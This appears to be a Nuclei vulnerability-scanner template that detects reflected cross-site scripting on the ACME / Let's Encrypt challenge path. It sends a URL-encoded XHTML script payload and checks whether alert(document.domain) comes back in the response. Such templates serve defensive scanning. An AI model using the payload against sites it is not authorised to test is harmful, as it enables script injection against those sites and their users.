id: acme-xss info: name: ACME / Let's Encrypt Reflected XSS author: pdteam severity: low tags: xss,acme requests: - method: GET path: - '{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E' matchers-condition: and matchers: - type: word words: - "alert(document.domain)" - type: word words: - "/xml" - "/html"